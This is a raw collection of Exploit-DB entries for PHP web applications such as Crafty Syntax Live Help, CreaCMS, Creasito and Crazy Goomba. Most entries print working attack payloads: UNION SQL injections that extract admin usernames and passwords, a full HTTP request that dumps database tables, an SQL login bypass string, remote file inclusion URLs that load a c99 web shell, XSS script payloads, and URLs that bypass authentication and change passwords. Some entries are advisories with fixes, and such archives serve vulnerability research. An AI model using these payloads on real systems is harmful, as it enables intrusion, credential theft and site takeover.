deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47343
Description: Craft CMS 2.7.9/3.2.5 - Information Disclosure
Type: webapps
Platform: php
Date: 2019-09-02
Author: Mohammed Abdul Raheem

Exploit:
# Exploit Title : CraftCms Users information disclosure From uploaded File
# Author [Discovered By] : Mohammed Abdul Raheem
# Author's [Company Name] : TrekShield IT Solution
# Author [Exploit-db] : https://www.exploit-db.com/?author=9783
# Found Vulnerability On : 20-07-2019
# Vendor Homepage:https://craftcms.com/
# Software Information Link: https://github.com/craftcms/demo
# Software Affected Versions : CraftCms v2 before 2.7.10 and CraftCmsv3 before 3.2.6
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : Sensitive information disclosure
# CVE : CVE-2019-14280
####################################################################

# Description about Software :
***************************
Craft is a flexible, user-friendly CMS for creating custom digital
experiences on the web and beyond.

####################################################################

# Vulnerability Description :
*****************************

When a user uploads an image in CraftCMS, the uploaded image's EXIF
Geolocation Data does not gets stripped. As a result, anyone can get
sensitive information of CraftCMS's users like their Geolocation,
their Device information like Device Name, Version, Software &
Software version used etc.

# Impact :
***********

This vulnerability is CRITICAL and impacts all the craft's customer
base. This vulnerability violates the privacy of a User and shares
sensitive information of the user who uploads an image on CraftCMS.

# Steps To Validate :
*********************

1. Login to CraftCMS account.
2. Go to endpoint https://demo.craftcms.com/<token>/s/admin/assets
3. Upload an image which has EXIF Geolocation Data in it.
4. Once the image is uploaded by CraftCMS and hosted on the server,
download the image file and check the File Properties. You can also
use a tool like to view user's information: https://www.pic2map.com

# ATTACHED POC :
****************

https://youtu.be/s-fTdu8R3bU

# More Information Can be find here :
*************************************

https://github.com/craftcms/cms/blob/develop/CHANGELOG-v3.md#326---2019-07-23

###################################################################

# Discovered By Mohammed Abdul Raheem from TrekShield.com
Exploit-DB #6307
Description: Crafty Syntax Live Help 2.14.6 - 'department' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-25
Author: GulfTech Security

Exploit:
Crafty Syntax Live Help <= 2.14.6 SQL Injection
	
August 25, 2008
Vendor 	: Eric Gerdes
URL 	: http://www.craftysyntax.com
Version 	: Crafty Syntax Live Help <= 2.14.6
Risk 	: SQL Injection


Description:
Crafty Syntax Live Help is a full featured, open source, online support 
system written in php that allows the visitors of a website to interact 
in real time with the site owners. There is a couple of high risk SQL Injections 
in Crafty Syntax Live Help that allows for an attacker to read arbitrary database 
contents such as user credentials, or administrator credentials. An updated version 
of Crafty Syntax Live Help is now available and users should upgrade as soon as possible.


SQL Injection
There is a high risk SQL Injection issue within Crafty Syntax Live Help that allows for 
an attacker to read arbitrary database contents such as user credentials, or administrator 
credentials. The vulnerable bit of code in question can be seen below.

if(empty($UNTRUSTED['department'])){ $department=0; } else { $department=$UNTRUSTED['department']; }

// Get department information. First found if no specific department assigned
$qQry = "SELECT recno,messageemail,colorscheme,leavetxt,creditline,onlineimage,leaveamessage,offlineimage,speaklanguage FROM livehelp_departments "
      . (($department==0)? 'LIMIT 1': "WHERE recno=$department");
 



The above code can be found in is_xmlhttp.php, but an almost identical issue can 
be found within the file is_flush.php also. This SQL Injection issue is present 
regardless of magic quotes settings, and can be triggered using a url like the one shown below.

/is_xmlhttp.php?scriptname=1&department=-99%20UNION%20SELECT%201,2,concat (username,char(58),password),4,5,6,7,8,9%20FROM%20livehelp_users/*

Since Crafty Syntax Live Help seems to store passwords in plain text by default, it 
is a trivial task for an attacker to gain administrative access to the installation 
after exploiting this issue.


Solution:
An updated version of Crafty Syntax Live Help has been released and can be found at the location below.

http://security.craftysyntax.com/updates/?v=2.14.6


Credits:
James Bercegay of the GulfTech Security Research Team 

# milw0rm.com [2008-08-25]
Exploit-DB #32169
Description: Crafty Syntax Live Help 2.14.6 - 'livehelp_js.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-05
Author: CoRSaNTuRK

Exploit:
source: https://www.securityfocus.com/bid/30543/info

Crafty Syntax Live Help (CSLH) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/help/livehelp_js.php?department=<script>alert(1)</script>
Exploit-DB #24169
Description: Crafty Syntax Live Help 2.7.3 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2004-06-04
Author: HNK Technology Solutions

Exploit:
source: https://www.securityfocus.com/bid/10463/info

CSLH is prone to multiple HTML injection vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data. The problem presents itself in various modules of the application and can allow remote attackers to inject HTML code into the name field and in chat sessions for live help.

Crafy Syntax Live Help 2.7.3 and prior versions are prone to these issues. 

window.location("http://www.cgisecurity.com/articles/xss-faq.shtml");
window.location("http://livehelp.someisp.com/livehelp/operators.php?remove=1")
Exploit-DB #28851
Description: Crafty Syntax Live Help 2.9.9 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-24
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/20711/info

Crafty Syntax Live Help is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Note that these issues affect only the version of Crafty Syntax Live Help that includes the Text Based Database Support package (Txt-db-api).

Version 2.9.9 is vulnerable; other versions may also be affected.

http://www.example.com/CSLH2_path/txt-db-api/stringparser.php?API_HOME_DIR=sh3ll?
http://www.example.com/CSLH2_path/txt-db-api/util.php?API_HOME_DIR=sh3ll?
http://www.example.com/CSLH2_path/txt-db-api/sql.php?API_HOME_DIR=sh3ll?
http://www.example.com/CSLH2_path/txt-db-api/resultset.php?API_HOME_DIR=sh3ll?
Exploit-DB #38482
Description: Crafty Syntax Live Help 3.1.2 - Remote File Inclusion / Full Path Disclosure
Type: webapps
Platform: php
Date: 2013-04-19
Author: ITTIHACK

Exploit:
source: https://www.securityfocus.com/bid/59322/info

Crafty Syntax Live Help is prone to a remote file-include vulnerability and a path-disclosure vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to obtain sensitive information and compromise the application and the underlying system; other attacks are also possible.

Crafty Syntax Live Help versions 2.x and versions 3.x are vulnerable. 

File-include:

http://www.example.com/path/admin.php?page=[RFI]

Path-disclosure:

http://www.example.com/livehelp/xmlhttp.php
Exploit-DB #46144
Description: Craigs Classified Ads CMS Theme 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Craigs CMS 1.0.2 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://themerig.com/
# Software Link: https://codecanyon.net/item/craigs-cms-directory-listing-theme/22431565
# Version: 1.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/profile_detail.php?users=[SQL]
# 

GET /[PATH]/profile_detail.php?users=-x%27%20UNION%20SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3peclhdno4t80jmagl0gurf1o4
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.39
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding: br
Vary: Accept-Encoding
Date: Sun, 13 Jan 2019 15:39:40 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close
Exploit-DB #25247
Description: Craigslist Gold - SQL Injection
Type: webapps
Platform: php
Date: 2013-05-06
Author: Fallaga

Exploit:
# Exploit Title: Craigslist Clone Gold SQL injection Vulnerability
# Date: 04/05/2013
# Author: Fallaga
# Team: FaLLaGa Tunisian Hackers
#Script url:
http://www.scriptcopy.com/craigslist-clone-script/Craiglist-Gold-4444.html
# Version: N/A
# Tested on: Demo
# CVE : ()
############################################################
#######################



#########################[ EXPL0!T ]#########################


http://exemple/classifieds2/?view=ads&catid=-1+union+select+concat(email,0x3a,code)+from+clf_ads--



#############################SwT 4 Ever##########################
####################


@JaMbA !!  GreeTz: Fallaga Team + all tunisian people
Exploit-DB #5481
Description: Crazy Goomba 1.2.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-21
Author: ZoRLu

Exploit:
##########CANAKKALE GECiLMEZ##############################

Crazy Goomba 1.2.1 SQL inj

dork:  :((  sory

author: ZoRLu 

home: ( http://www.z0rlu.ownspace.org ) ( yildirimordulari.org ) ( r00tsecurity.org ) ( securityfocus.com )

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... La benden keylog isyetesiniz diye vermiyorum msn i. sacmalamayIn da  :((

Not: http://www.z0rlu.ownspace.org   acIklarÃ½n kullanImI ile ilgili bilgiler blogumda mevcut! naparsIn para yokk free actIk :))

###################CANAKKALE GECiLMEZ###################

http://localhost/Crazy_Goomba_1.2.1_path/commentaires.php?id=[SQL]


[SQL]


1'/**/union/**/select/**/0,pseudo,password,email,id,0,0/**/from/**/cg_joueurs/**



( [SQL] yazan yere kodu yaz admin name, password(md5) ve email adresine ulas )

md5 i kÃ½r ve giris yap

http://localhost/Crazy_Goomba_1.2.1_path/index.php?page=connexion  ( login )


sonra admin panele baglan


admin panel: 


http://localhost/Crazy_Goomba_1.2.1_path/administration/admin.php



###################CANAKKALE GECiLMEZ####################

thanx: str0ke, FaLCaTa, aRKi, the_KaM!L, ReD_KaN, iSoMiX, edish, harded, z3h!r, KoDLoK, Dr.SaLTuK, kasIrga(lavrens), w3R3m

avkidis, head_hunter and all users yildirimordulari.org & r00tsecurity.org

O Simdi Komando: iSoMiX ( CanImsIn Kardesim, KanKam Benim :))  )

Efsane: YILDIRIMORDULARI.ORG

Dersler BasladI Sanal Bitti  :(((

###################CANAKKALE GECiLMEZ####################

# milw0rm.com [2008-04-21]
Exploit-DB #8501
Description: CRE Loaded 6.2 - 'products_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-21
Author: Player

Exploit:
[+]-------------------------------------[+]
[+] Homepage: http://www.creloaded.com/
[+] Product: CRE Loaded v6.2
[+] File: product_info.php
[+] Parameter: product_id
[+]-------------------------------------[+]
[+] SQL Injection:
[+] product_info.php?products_id=-1+union+select+1,concat_ws(0x203a20,admin_email_address,admin_password)+from+admin--
[+]-------------------------------------[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]-------------------------------------[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-21]
Exploit-DB #35367
Description: Crea8Social 1.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-11-25
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: crea8social 1.3 Stored XSS Vulnerability
# Date: 24-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.3
# Vendor Homepage: http://codecanyon.net/item/crea8social-php-social-networking-platform-v13/9211270
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
Create a page from "Pages" (/pages) section. "Page Website" input is not secure. You can run XSS payloads on "Page Website" input.

Sample Payload for Stored XSS: http://example.com/">[xssPayload]

=Solution=
Filter the input field against to XSS attacks.
================
Exploit-DB #35691
Description: Crea8Social 2.0 - Cross-Site Scripting Change Interface
Type: webapps
Platform: php
Date: 2015-01-04
Author: Yudhistira B W

Exploit:
# Exploit Title: Crea8Social v.2.0 XSS Change Interface
# Google Dork: intext:Copyright © 2014 CreA8social.
# Date: January 3, 2015
# Exploit Author: r0seMary
# Vendor Homepage: http://crea8social.com
# Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com
# Version: v.2.0 (Latest version)
# Tested on: Windows 7
# CVE : -
================================================================================
Bismillahirahmanirahim
Assalamualaikum Wr.Wb

--[Fatal Xss Vulnerability]--
1. Register on the site
2. Go to Menu, Click Game
3. Add Game
4. At Game Content, enter your xss code. for example:
<script>document.body.innerHTML="your text here"</script><noscript>

look at the result, the user interface change into your xss code ;)

Proof of Concept:
http://104.131.164.9/demo/games/124 (Crea8Social Official Site)

./r0seMary
Wassalamualaikum.wr.wb
Exploit-DB #32079
Description: CreaCMS - '/edition_article/edition_article.php?cfg[document_uri]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-18
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30284/info

CreaCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

CreaCMS 1 is vulnerable; other versions may also be affected. 

http://www.example.com/creacms/_administration/edition_article/edition_article.php?cfg[document_uri]=http://127.0.0.1/c99.php?
Exploit-DB #32080
Description: CreaCMS - '/fonctions/get_liste_langue.php?cfg[base_uri_admin]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-18
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30284/info
 
CreaCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
CreaCMS 1 is vulnerable; other versions may also be affected. 

http://www.example.com/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=http://127.0.0.1/c99.php?
Exploit-DB #8497
Description: Creasito E-Commerce 1.3.16 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-20
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND [CREDENTIAL_REDACTED]' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-20]
Exploit-DB #2709
Description: Creasito E-Commerce Content Manager - 'admin' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-11-03
Author: SlimTim10

Exploit:
                                             
============================================================================================

Creasito E-Commerce Content Manager (admin) Authentication Bypass

============================================================================================

Product............: Creasito E-Commerce Content Manager
Affected versions..: Creasito <= 1.3.08
Security Risk......: High
Vendor.............: G. Fabozzi (http://creasito.bloghosteria.com/)
Product Link.......: http://prdownloads.sourceforge.net/creasito/creasito1.3.08.zip?download
Discovered by......: SlimTim10


Details:
---------
Files in the /admin directory use a very poor security method for authentication that is
simple to bypass.

Vulnerable Code:
-----------------
if ( empty( $finame ) ) {
?> Prego effettuare il login <a href="index.php"> Qui<br>
&copy;Bloghosteria.com<br>
</a>

Vulnerable Files:
------------------
(in /admin)
addnewcont.php, adminpassw.php, amministrazione.php, artins.php, bgcolor.php,
cancartcat.php, canccat.php, cancelart.php, cancontsit.php, chanpassamm.php, dele.php,
delecat.php, delecont.php, emailall.php, gestflashtempl.php, gestmagart.php, gestmagaz.php,
gestpre.php, input.php, input3.php, insnucat.php, instempflash.php, mailfc.php,
modfdati.php, rescont4.php, ricordo1.php, ricordo4.php, tabcatalg.php, tabcont.php,
tabcont3.php, tabstile.php, tabstile3.php, testimmg.php, update.php

Proof of Concept:
------------------

http://[host]/admin/amministrazione.php?finame=1
http://[host]/admin/admin/dele.php?finame=1
http://[host]/admin/chanpassamm.php?finame=1&[CREDENTIAL_REDACTED]=testing *
* Changes the password as well as bypassing authentication


Solution:
----------
Use a better authentication method, like cookies!

================================================================

Shoutz: PCD, dw0rek, Tainted, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

================================================================

# milw0rm.com [2006-11-03]
Exploit-DB #3498
Description: Creative Files 1.2 - 'kommentare.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-16
Author: Mehmet Ince

Exploit:
======================X=O=R=O=N=====================
+
+ Creative Files 1.2 (kommentare.php)  Remote SQL Injection Vulnerabilities
+
======================X=O=R=O=N=====================
+
+ Bulan: xoron
+
+ xoron.biz
+
======================X=O=R=O=N=====================
+
+ SQL INJ:
+
+ kommentare.php?dlid=-1/**/UNION/**/SELECT/**/null,null,null,name,null,PASSWORD,null/**/FROM/**/user/*
+
======================X=O=R=O=N=====================
+
+ Vendor site: http://www.thecreativeheads.de/CreativeFiles/downloads.php
+
======================X=O=R=O=N=====================
+
+ Thnx: pang0, unique
+
======================X=O=R=O=N=====================

# milw0rm.com [2007-03-16]
Exploit-DB #27831
Description: Creative Software UK Community Portal 1.1 - 'ArticleView.php?article_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info

Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/ArticleView.php?article_id=[SQL]
Exploit-DB #27836
Description: Creative Software UK Community Portal 1.1 - 'DiscReply.php?mid' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info
     
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
     
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/DiscReply.php?forum_id=1&mid=[SQL]
Exploit-DB #27833
Description: Creative Software UK Community Portal 1.1 - 'Discussions.php?forum_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info
  
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/Discussions.php?forum_id=[SQL]